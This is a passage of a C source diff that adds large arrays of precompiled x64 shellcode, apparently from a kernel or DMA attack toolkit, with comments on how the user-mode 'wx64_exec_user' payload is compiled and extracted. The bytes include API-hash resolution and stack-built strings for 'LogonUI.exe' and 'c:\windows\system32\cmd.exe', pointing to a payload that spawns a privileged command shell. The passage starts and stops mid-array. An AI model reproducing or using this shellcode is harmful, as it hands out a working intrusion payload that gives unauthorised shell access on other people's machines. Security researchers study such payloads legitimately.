0x8b, 0xd3, + 0x4c, 0x8b, 0xc0, 0x41, 0xff, 0x56, 0x60, 0x48, 0x8b, 0x5c, 0x24, 0x40, + 0x8b, 0xc7, 0x48, 0x8b, 0x6c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x20, 0x41, + 0x5e, 0x5f, 0x5e, 0xc3, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x4c, 0x89, 0x70, 0x20, 0x55, + 0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x70, 0x4c, 0x8b, 0xf1, 0xc7, 0x45, + 0xb0, 0x5d, 0xc6, 0x94, 0xfb, 0xc7, 0x45, 0xb4, 0xa3, 0x8d, 0x98, 0x2b, + 0x48, 0x8d, 0xba, 0x88, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xb8, 0xf9, 0x95, + 0xc6, 0x88, 0x48, 0x8d, 0x75, 0xf4, 0xc7, 0x45, 0xbc, 0xbe, 0x47, 0x00, + 0x9e, 0xbb, 0x11, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xc0, 0xf4, 0xdc, 0x47, + 0xf0, 0xc7, 0x45, 0xc4, 0xbc, 0x1e, 0x36, 0x9f, 0xc7, 0x45, 0xc8, 0x92, + 0xf5, 0x45, 0x13, 0xc7, 0x45, 0xcc, 0xcd, 0x1d, 0xeb, 0xbc, 0xc7, 0x45, + 0xd0, 0x2b, 0x0e, 0xd0, 0x97, 0xc7, 0x45, 0xd4, 0xd6, 0x3f, 0x05, 0x2e, + 0xc7, 0x45, 0xd8, 0xec, 0xee, 0xe7, 0x8b, 0xc7, 0x45, 0xdc, 0x2a, 0xb8, + 0xa0, 0xa3, 0xc7, 0x45, 0xe0, 0x0d, 0x0e, 0x0b, 0x0e, 0xc7, 0x45, 0xe4, + 0x41, 0x20, 0x2f, 0x44, 0xc7, 0x45, 0xe8, 0xa8, 0x3b, 0xfb, 0xe0, 0xc7, + 0x45, 0xec, 0xed, 0x4a, 0x3d, 0xd3, 0xc7, 0x45, 0xf0, 0x60, 0x9d, 0xd0, + 0xf0, 0x48, 0x8d, 0x76, 0xfc, 0x49, 0x8b, 0xce, 0x8b, 0x16, 0x48, 0x8d, + 0x7f, 0xf8, 0xe8, 0x49, 0x04, 0x00, 0x00, 0x48, 0x89, 0x07, 0x83, 0xc3, + 0xff, 0x75, 0xe6, 0x4c, 0x8d, 0x5c, 0x24, 0x70, 0x49, 0x8b, 0x5b, 0x10, + 0x49, 0x8b, 0x73, 0x18, 0x49, 0x8b, 0x7b, 0x20, 0x4d, 0x8b, 0x73, 0x28, + 0x49, 0x8b, 0xe3, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, + 0x89, 0x78, 0x20, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, + 0x20, 0x4c, 0x8b, 0x71, 0x68, 0x4c, 0x8d, 0xa1, 0x00, 0x04, 0x00, 0x00, + 0x4c, 0x89, 0xb1, 0x80, 0x00, 0x00, 0x00, 0x41, 0x8b, 0xc6, 0x25, 0xff, + 0x0f, 0x00, 0x00, 0x41, 0xbf, 0x00, 0x10, 0x00, 0x00, 0x44, 0x2b, 0xf8, + 0x48, 0x8b, 0xfa, 0x4c, 0x89, 0xb9, 0x88, 0x00, 0x00, 0x00, 0x48, 0xb8, + 0x66, 0x66, 0x77, 0x77, 0x66, 0x66, 0x77, 0x77, 0x48, 0x89, 0x41, 0x78, + 0x48, 0x8b, 0xd9, 0x49, 0x8b, 0x06, 0xba, 0x04, 0x01, 0x00, 0x00, 0x48, + 0x89, 0x81, 0x88, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xe9, 0x49, 0x8b, 0xcc, + 0x41, 0xff, 0x50, 0x70, 0x48, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x57, 0x00, + 0x07, 0x80, 0xeb, 0x47, 0xba, 0x00, 0x10, 0x00, 0x00, 0x48, 0x8b, 0xcd, + 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0xc7, 0x49, 0x8b, 0xd6, + 0x48, 0x8b, 0xcd, 0xff, 0x57, 0x60, 0x41, 0xb8, 0x04, 0x01, 0x00, 0x00, + 0x48, 0x8d, 0x8d, 0xe8, 0x0e, 0x00, 0x00, 0x49, 0x8b, 0xd4, 0xff, 0x57, + 0x60, 0x8b, 0x83, 0x28, 0x01, 0x00, 0x00, 0x89, 0x85, 0xf8, 0x0f, 0x00, + 0x00, 0x48, 0x8b, 0x44, 0x24, 0x60, 0x48, 0x89, 0x85, 0xf0, 0x0f, 0x00, + 0x00, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, + 0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, + 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0xc3, 0xcc, 0xcc, + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, + 0x30, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xe9, 0x41, 0xbe, 0x00, 0x20, 0x00, + 0x00, 0x33, 0xc9, 0x41, 0x8b, 0xd6, 0x49, 0x8b, 0xf0, 0xff, 0x53, 0x08, + 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x07, 0x33, 0xc0, 0xe9, 0x90, + 0x00, 0x00, 0x00, 0x49, 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0xff, 0x93, 0x80, + 0x00, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, 0x33, 0xc9, + 0x45, 0x33, 0xc0, 0x41, 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0xff, 0x16, 0x4c, + 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x08, 0x48, 0x8b, 0xcf, 0xff, 0x53, + 0x10, 0xeb, 0xc9, 0x33, 0xd2, 0x49, 0x8b, 0xce, 0x44, 0x8d, 0x42, 0x02, + 0xff, 0x56, 0x40, 0x45, 0x33, 0xc9, 0xc7, 0x44, 0x24, 0x28, 0x10, 0x00, + 0x00, 0x00, 0x83, 0x64, 0x24, 0x20, 0x00, 0x49, 0x8b, 0xce, 0x45, 0x8d, + 0x41, 0x01, 0x41, 0x8a, 0xd0, 0xff, 0x56, 0x38, 0x48, 0x8b, 0xf0, 0x48, + 0x85, 0xc0, 0x74, 0xc7, 0x48, 0x8b, 0xc8, 0xff, 0x53, 0x30, 0x48, 0x8d, + 0x8e, 0x00, 0x10, 0x00, 0x00, 0x48, 0x89, 0x85, 0x18, 0x01, 0x00, 0x00, + 0xff, 0x53, 0x30, 0x48, 0x89, 0x85, 0x18, 0x02, 0x00, 0x00, 0x48, 0x8b, + 0xc6, 0x48, 0x89, 0xbd, 0x30, 0x02, 0x00, 0x00, 0x48, 0x89, 0xb5, 0x38, + 0x02, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, + 0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, + 0x83, 0xc4, 0x30, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x55, 0x48, 0x8d, 0xac, 0x24, 0x50, 0xff, 0xff, 0xff, 0x48, 0x81, + 0xec, 0xb0, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x48, 0x8d, 0x55, 0xe0, + 0x48, 0x8b, 0x49, 0x08, 0xe8, 0x13, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4b, + 0x08, 0x48, 0x8d, 0x54, 0x24, 0x50, 0xe8, 0x1d, 0xfd, 0xff, 0xff, 0xb8, + 0x01, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x20, 0x4c, 0x6f, 0x67, 0x6f, + 0x4c, 0x8d, 0x8b, 0x20, 0x01, 0x00, 0x00, 0x48, 0x89, 0x83, 0x30, 0x01, + 0x00, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x89, 0x83, 0x40, 0x01, + 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x50, 0xc7, 0x44, 0x24, 0x24, 0x6e, + 0x55, 0x49, 0x2e, 0x48, 0x8d, 0x4d, 0xe0, 0xc7, 0x44, 0x24, 0x28, 0x65, + 0x78, 0x65, 0x00, 0xc7, 0x44, 0x24, 0x30, 0x63, 0x3a, 0x5c, 0x77, 0xc7, + 0x44, 0x24, 0x34, 0x69, 0x6e, 0x64, 0x6f, 0xc7, 0x44, 0x24, 0x38, 0x77, + 0x73, 0x5c, 0x73, 0xc7, 0x44, 0x24, 0x3c, 0x79, 0x73, 0x74, 0x65, 0xc7, + 0x44, 0x24, 0x40, 0x6d, 0x33, 0x32, 0x5c, 0xc7, 0x44, 0x24, 0x44, 0x63, + 0x6d, 0x64, 0x2e, 0xc7, 0x44, 0x24, 0x48, 0x65, 0x78, 0x65, 0x00, 0x48, + 0xc7, 0x83, 0x28, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xe8, 0x21, + 0xfb, 0xff, 0xff, 0x48, 0x63, 0xc8, 0x48, 0x89, 0x8b, 0x20, 0x02, 0x00, + 0x00, 0x85, 0xc0, 0x74, 0x0d, 0x48, 0xc7, 0x83, 0x28, 0x02, 0x00, 0x00, + 0x01, 0x01, 0x00, 0x00, 0xeb, 0x26, 0x48, 0x8d, 0x8b, 0x00, 0x04, 0x00, + 0x00, 0x41, 0xb8, 0x1c, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, + 0xff, 0x55, 0x40, 0x4c, 0x8d, 0x44, 0x24, 0x50, 0x48, 0x8b, 0xcb, 0x48, + 0x8d, 0x55, 0xe0, 0xe8, 0x98, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0x9c, 0x24, + 0xc0, 0x01, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xb0, 0x01, 0x00, 0x00, 0x5d, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x8b, 0xc2, 0x4c, 0x8d, + 0x44, 0x24, 0x30, 0x48, 0x69, 0xd0, 0xf0, 0xd8, 0xff, 0xff, 0x4c, 0x8b, + 0xc9, 0x33, 0xc9, 0x48, 0x89, 0x54, 0x24, 0x30, 0x33, 0xd2, 0x41, 0xff, + 0x51, 0x20, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0x48, 0x8b, 0xc4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x4c, + 0x89, 0x70, 0x20, 0x55, 0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0x90, + 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xf1, 0xc7, 0x45, 0xe7, 0x4a, 0x45, 0x3b, + 0xd7, 0xc7, 0x45, 0xeb, 0x62, 0xe0, 0x07, 0x37, 0x48, 0x8d, 0xba, 0xc8, + 0x00, 0x00, 0x00, 0xc7, 0x45, 0xef, 0x1f, 0x9d, 0x48, 0x9d, 0x48, 0x8d, + 0x75, 0x4b, 0xc7, 0x45, 0xf3, 0xa1, 0x7b, 0xcc, 0xdc, 0xbb, 0x19, 0x00, + 0x00, 0x00, 0xc7, 0x45, 0xf7, 0x92, 0x6d, 0x58, 0x58, 0xc7, 0x45, 0xfb, + 0xce, 0xad, 0x90, 0x4d, 0xc7, 0x45, 0xff, 0x57, 0x63, 0x32, 0x5a, 0xc7, + 0x45, 0x03, 0x8f, 0xb5, 0x6a, 0x6a, 0xc7, 0x45, 0x07, 0xf9, 0xbe, 0xdd, + 0x05, 0xc7, 0x45, 0x0b, 0xf7, 0x38, 0xb3, 0x9d, 0xc7, 0x45, 0x0f, 0xc9, + 0xc5, 0x6e, 0x6c, 0xc7, 0x45, 0x13, 0x89, 0x83, 0x6c, 0xeb, 0xc7, 0x45, + 0x17, 0x9b, 0x97, 0x64, 0xcf, 0xc7, 0x45, 0x1b, 0x2a, 0xc0, 0xb2, 0xa8, + 0xc7, 0x45, 0x1f, 0x3d, 0x28, 0xc3, 0x7c, 0xc7, 0x45, 0x23, 0x2a, 0xd0, + 0x35, 0x30, 0xc7, 0x45, 0x27, 0xdb, 0x4f, 0x3d, 0xc5, 0xc7, 0x45, 0x2b, + 0x61, 0x4c, 0x04, 0x5d, 0xc7, 0x45, 0x2f, 0x9d, 0x8f, 0xa0, 0xc3, 0xc7, + 0x45, 0x33, 0xb8, 0xd4, 0x29, 0x88, 0xc7, 0x45, 0x37, 0x50, 0x64, 0xb0, + 0x6f, 0xc7, 0x45, 0x3b, 0xe2, 0xca, 0x61, 0xe6, 0xc7, 0x45, 0x3f, 0xde, + 0x24, 0xe6, 0xf7, 0xc7, 0x45, 0x43, 0x16, 0x35, 0xfd, 0x87, 0xc7, 0x45, + 0x47, 0x36, 0x31, 0x0e, 0x68, 0x48, 0x8d, 0x76, 0xfc, 0x49, 0x8b, 0xce, + 0x8b, 0x16, 0x48, 0x8d, 0x7f, 0xf8, 0xe8, 0x25, 0x00, 0x00, 0x00, 0x48, + 0x89, 0x07, 0x83, 0xc3, 0xff, 0x75, 0xe6, 0x4c, 0x8d, 0x9c, 0x24, 0x90, + 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, + 0x8b, 0x7b, 0x20, 0x4d, 0x8b, 0x73, 0x28, 0x49, 0x8b, 0xe3, 0x5d, 0xc3, + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x8b, 0xea, 0x48, 0x85, 0xc9, + 0x74, 0x7a, 0xb8, 0x4d, 0x5a, 0x00, 0x00, 0x66, 0x39, 0x01, 0x75, 0x70, + 0x48, 0x63, 0x41, 0x3c, 0x48, 0x03, 0xc1, 0x74, 0x67, 0x81, 0x38, 0x50, + 0x45, 0x00, 0x00, 0x75, 0x5f, 0x8b, 0x90, 0x88, 0x00, 0x00, 0x00, 0x48, + 0x03, 0xd1, 0x74, 0x54, 0x44, 0x8b, 0x5a, 0x18, 0x45, 0x85, 0xdb, 0x74, + 0x4b, 0x8b, 0x42, 0x20, 0x85, 0xc0, 0x74, 0x44, 0x8b, 0x72, 0x24, 0x4c, + 0x8d, 0x0c, 0x01, 0x8b, 0x7a, 0x1c, 0x48, 0x03, 0xf1, 0x48, 0x03, 0xf9, + 0x45, 0x33, 0xc0, 0x45, 0x85, 0xdb, 0x74, 0x2c, 0x45, 0x8b, 0x11, 0x4c, + 0x03, 0xd1, 0x33, 0xdb, 0xeb, 0x0b, 0x0f, 0xb6, 0xc0, 0x49, 0xff, 0xc2, + 0xc1, 0xcb, 0x0d, 0x03, 0xd8, 0x41, 0x8a, 0x02, 0x84, 0xc0, 0x75, 0xee, + 0x3b, 0xdd, 0x74, 0x23, 0x41, 0xff, 0xc0, 0x49, 0x83, 0xc1, 0x04, 0x45, + 0x3b, 0xc3, 0x72, 0xd4, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x48, + 0x8b, 0x6c, 0x24, 0x10, 0x48, 0x8b, 0x74, 0x24, 0x18, 0x48, 0x8b, 0x7c, + 0x24, 0x20, 0xc3, 0x46, 0x0f, 0xb7, 0x04, 0x46, 0x44, 0x3b, 0x42, 0x14, + 0x73, 0xde, 0x42, 0x8b, 0x04, 0x87, 0x48, 0x03, 0xc1, 0xeb, 0xd7 + }; + *ppb = WINX64_PSCMD_KERNEL_BIN; + *pcb = sizeof(WINX64_PSCMD_KERNEL_BIN); +} + +// standard wx64_exec_user payload, compile and extract shellcode with: +// +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC wx64_exec_user_c.c +// ml64 wx64_exec_user.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_exec_user_c.obj +// shellcode64.exe -o wx64_exec_user.exe +// xxd -i wx64_exec_user.bin +VOID GetData_PSCMD_USER(PBYTE *ppb, PDWORD pcb) +{ + BYTE WINX64_PSCMD_USER_BIN[] = { + 0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8d, 0x0d, 0x49, 0x00, 0x00, 0x00, 0xf0, + 0x0f, 0xb0, 0x11, 0x75, 0x42, 0x48, 0x8d, 0x0d, 0xe8, 0xff, 0xff, 0xff, + 0x48, 0x81, 0xe1, 0x00, 0xf0, 0xff, 0xff, 0x65, 0x48, 0x8b, 0x14, 0x25, + 0x30, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, + 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x12, 0x48, 0x8b, 0x12, 0x48, 0x8b, + 0x52, 0x20, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, + 0xec, 0x20, 0xe8, 0xe1, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3, + 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, + 0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x48, 0x63, 0x41, 0x3c, 0x4c, + 0x8b, 0xc9, 0x8b, 0xf2, 0x44, 0x8b, 0x84, 0x08, 0x88, 0x00, 0x00, 0x00, + 0x4c, 0x03, 0xc1, 0x45, 0x8b, 0x50, 0x20, 0x45, 0x8b, 0x58, 0x24, 0x4c, + 0x03, 0xd1, 0x41, 0x8b, 0x58, 0x1c, 0x4c, 0x03, 0xd9, 0x41, 0x8b, 0x78, + 0x18, 0x48, 0x03, 0xd9, 0x33, 0xc9, 0x85, 0xff, 0x74, 0x2d, 0x41, 0x8b, + 0x12, 0x49, 0x03, 0xd1, 0x45, 0x33, 0xc0, 0xeb, 0x0d, 0x0f, 0xb6, 0xc0, + 0x48, 0xff, 0xc2, 0x41, 0xc1, 0xc8, 0x0d, 0x44, 0x03, 0xc0, 0x8a, 0x02, + 0x84, 0xc0, 0x75, 0xed, 0x44, 0x3b, 0xc6, 0x74, 0x1c, 0xff, 0xc1, 0x49, + 0x83, 0xc2, 0x04, 0x3b, 0xcf, 0x72, 0xd3, 0x33, 0xc0, 0x48, 0x8b, 0x5c, + 0x24, 0x08, 0x48, 0x8b, 0x74, 0x24, 0x10, 0x48, 0x8b, 0x7c, 0x24, 0x18, + 0xc3, 0x41, 0x0f, 0xb7, 0x0c, 0x4b, 0x8b, 0x04, 0x8b, 0x49, 0x03, 0xc1, + 0xeb, 0xe3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0x41, 0x78, 0x48, 0x8b, 0xd9, 0x33, 0xc9, 0x48, 0x89, 0x08, 0x39, 0x8b, + 0x88, 0x00, 0x00, 0x00, 0x74, 0x22, 0x89, 0x8b, 0x88, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0x4b, 0x58, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x4b, 0x50, 0xff, + 0x53, 0x08, 0x48, 0x8b, 0x4b, 0x60, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x4b, + 0x68, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x43, 0x70, 0x48, 0xb9, 0xac, 0xda, + 0x37, 0x13, 0x00, 0x22, 0xda, 0xfe, 0x48, 0x89, 0x08, 0x48, 0x8b, 0x43, + 0x78, 0x48, 0x89, 0x08, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x70, 0xba, 0x68, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0xd9, 0x8d, 0x4a, 0xd8, 0xff, 0x53, 0x30, 0xc7, 0x00, 0x68, 0x00, + 0x00, 0x00, 0xc7, 0x40, 0x3c, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x13, + 0x48, 0x83, 0xba, 0x08, 0x01, 0x00, 0x00, 0x00, 0x74, 0x18, 0x48, 0x8b, + 0x4b, 0x60, 0x48, 0x89, 0x48, 0x58, 0x48, 0x8b, 0x4b, 0x68, 0x48, 0x89, + 0x48, 0x50, 0x48, 0x8b, 0x4b, 0x60, 0x48, 0x89, 0x48, 0x60, 0x48, 0x8b, + 0x13, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x4c, 0x24, 0x48, 0x45, + 0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x40, 0x45, 0x33, 0xc0, 0x48, 0x83, + 0x64, 0x24, 0x38, 0x00, 0x33, 0xc9, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, + 0x8b, 0x82, 0x10, 0x01, 0x00, 0x00, 0x89, 0x44, 0x24, 0x28, 0xc7, 0x44, + 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0xff, 0x53, 0x18, 0x85, 0xc0, 0x74, + 0x26, 0x48, 0x8b, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x8b, 0x80, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0x0b, 0x48, 0x83, 0xb9, 0x08, 0x01, 0x00, 0x00, 0x00, + 0x74, 0x08, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0xff, 0x53, 0x08, 0xb8, 0x01, + 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x70, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xe9, 0xc7, + 0x40, 0xc8, 0xfb, 0x97, 0xfd, 0x0f, 0xc7, 0x40, 0xcc, 0x80, 0x8f, 0x0c, + 0x17, 0x48, 0x8d, 0x7a, 0x48, 0xc7, 0x40, 0xd0, 0x72, 0xfe, 0xb3, 0x16, + 0x48, 0x8d, 0x70, 0xec, 0xc7, 0x40, 0xd4, 0x6b, 0xd0, 0x2b, 0xca, 0xbb, + 0x09, 0x00, 0x00, 0x00, 0xc7, 0x40, 0xd8, 0x74, 0xab, 0x30, 0xac, 0xc7, + 0x40, 0xdc, 0xfa, 0x97, 0x02, 0x4c, 0xc7, 0x40, 0xe0, 0x16, 0x65, 0xfa, + 0x10, 0xc7, 0x40, 0xe4, 0xb0, 0x49, 0x2d, 0xdb, 0xc7, 0x40, 0xe8, 0x1f, + 0x79, 0x0a, 0xe8, 0x48, 0x8d, 0x76, 0xfc, 0x48, 0x8b, 0xcd, 0x8b, 0x16, + 0x48, 0x8d, 0x7f, 0xf8, 0xe8, 0xeb, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x07, + 0x83, 0xc3, 0xff, 0x75, 0xe6, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, + 0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, + 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0xc1, 0x48, + 0x8d, 0x54, 0x24, 0x30, 0x48, 0x8b, 0x89, 0x80, 0x00, 0x00, 0x00, 0xff, + 0x50, 0x28, 0x33, 0xc9, 0x85, 0xc0, 0x74, 0x0f, 0x81, 0x7c, 0x24, 0x30, + 0x03, 0x01, 0x00, 0x00, 0x75, 0x05, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x8b, + 0xc1, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x10, 0x56, 0x48, 0x83, 0xec, 0x30, 0x83, 0xb9, 0x88, 0x00, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0xd9, 0x0f, 0x84, 0xab, 0x00, 0x00, 0x00, 0xbe, 0x00, + 0x08, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xa5, 0xff, 0xff, 0xff, 0x85, + 0xc0, 0x0f, 0x84, 0x96, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x43, 0x70, 0x4c, + 0x8b, 0x4b, 0x78, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x8b, 0x48, 0x10, + 0x41, 0x8b, 0x51, 0x08, 0x81, 0xe1, 0xff, 0x07, 0x00, 0x00, 0x81, 0xe2, + 0xff, 0x07, 0x00, 0x00, 0x3b, 0xca, 0x8b, 0xc2, 0x48, 0x8b, 0x4b, 0x58, + 0x77, 0x08, 0x44, 0x8b, 0xc6, 0x44, 0x2b, 0xc2, 0xeb, 0x03, 0x45, 0x33, + 0xc0, 0x49, 0x8d, 0x51, 0x68, 0x48, 0x03, 0xd0, 0x4c, 0x8d, 0x4c, 0x24, + 0x40, 0xff, 0x53, 0x38, 0x85, 0xc0, 0x74, 0x4d, 0x48, 0x8b, 0x4b, 0x78, + 0x8b, 0x44, 0x24, 0x40, 0x48, 0x01, 0x41, 0x08, 0xeb, 0x1d, 0x83, 0xbb, + 0x88, 0x00, 0x00, 0x00, 0x00, 0x74, 0x36, 0x48, 0x8b, 0xcb, 0xe8, 0x35, + 0xff, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x1d, 0xb9, 0x0a, 0x00, 0x00, 0x00, + 0xff, 0x53, 0x40, 0x48, 0x8b, 0x4b, 0x78, 0x48, 0x8b, 0x43, 0x70, 0x48, + 0x8b, 0x49, 0x08, 0x48, 0x2b, 0x48, 0x10, 0x48, 0x3b, 0xce, 0x73, 0xce, + 0x83, 0xbb, 0x88, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x85, 0x5a, 0xff, 0xff, + 0xff, 0x48, 0x8b, 0xcb, 0xe8, 0x5b, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x5c, + 0x24, 0x48, 0x48, 0x83, 0xc4, 0x30, 0x5e, 0xc3, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x30, 0x83, 0xb9, 0x88, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9, + 0x74, 0x78, 0x48, 0x8b, 0xcb, 0xe8, 0xda, 0xfe, 0xff, 0xff, 0x85, 0xc0, + 0x74, 0x6c, 0x48, 0x8b, 0x53, 0x78, 0x48, 0x8b, 0x4b, 0x70, 0x48, 0x8b, + 0x42, 0x10, 0x48, 0x39, 0x41, 0x08, 0x75, 0x0a, 0xb9, 0x0a, 0x00, 0x00, + 0x00, 0xff, 0x53, 0x40, 0xeb, 0x47, 0x44, 0x8b, 0x41, 0x08, 0x48, 0x8d, + 0x51, 0x68, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4c, 0x8d, 0x4c, 0x24, + 0x40, 0x48, 0x8b, 0x4b, 0x50, 0x25, 0xff, 0x07, 0x00, 0x00, 0x41, 0x81, + 0xe0, 0xff, 0x07, 0x00, 0x00, 0x48, 0x03, 0xd0, 0x41, 0x3b, 0xc0, 0x72, + 0x06, 0x41, 0xb8, 0x00, 0x08, 0x00, 0x00, 0x44, 0x2b, 0xc0, 0xff, 0x53, + 0x48, 0x85, 0xc0, 0x74, 0x15, 0x48, 0x8b, 0x4b, 0x78, 0x8b, 0x44, 0x24, + 0x40, 0x48, 0x01, 0x41, 0x10, 0x83, 0xbb, 0x88, 0x00, 0x00, 0x00, 0x00, + 0x75, 0x88, 0x48, 0x8b, 0xcb, 0xe8, 0xbe, 0xfc, 0xff, 0xff, 0x48, 0x83, + 0xc4, 0x30, 0x5b, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, + 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xfa, 0x48, 0x8b, + 0xd9, 0x48, 0x8b, 0xcf, 0xba, 0xfa, 0x97, 0x02, 0x4c, 0xe8, 0x06, 0xfc, + 0xff, 0xff, 0xba, 0x90, 0x00, 0x00, 0x00, 0x8d, 0x4a, 0xb0, 0xff, 0xd0, + 0x48, 0x8d, 0x8b, 0xe8, 0x0e, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x89, + 0x08, 0x48, 0x8d, 0x50, 0x08, 0x48, 0x8b, 0xcf, 0xe8, 0x83, 0xfd, 0xff, + 0xff, 0x48, 0x8b, 0x0e, 0x48, 0x83, 0xb9, 0x08, 0x01, 0x00, 0x00, 0x00, + 0x74, 0x7b, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x4c, 0x8d, 0x44, 0x24, + 0x30, 0xc7, 0x44, 0x24, 0x30, 0x18, 0x00, 0x00, 0x00, 0x48, 0xba, 0x21, + 0x95, 0xef, 0xdf, 0x32, 0x12, 0x65, 0x12, 0xbf, 0x01, 0x00, 0x00, 0x00, + 0xbb, 0x00, 0x08, 0x00, 0x00, 0x89, 0x7c, 